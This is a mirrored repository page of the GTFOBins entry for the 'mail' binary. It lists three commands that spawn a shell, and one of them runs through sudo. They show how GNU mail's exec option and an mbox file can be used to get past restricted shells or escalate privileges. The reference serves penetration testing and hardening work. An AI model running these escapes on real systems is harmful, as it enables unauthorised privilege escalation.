This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-29 03:31:42 +01:00
Code
Issues
08dfd05aee
GTFOBins.github.io
/
_gtfobins
/
mail.md
Jonathan Siegel
dd9f4269ed
Add the GNU version of mail
...
Close
#54
.
2019-02-19 11:27:35 +01:00
395 B
Raw
Blame
History
functions
shell
sudo
description
code
GNU version only.
mail --exec='!/bin/sh'
description
code
This creates a valid Mbox file which may be required by the binary.
TF=$(mktemp) echo "From nobody@localhost $(date)" > $TF mail -f $TF !/bin/sh
description
code
GNU version only.
sudo mail --exec='!/bin/sh'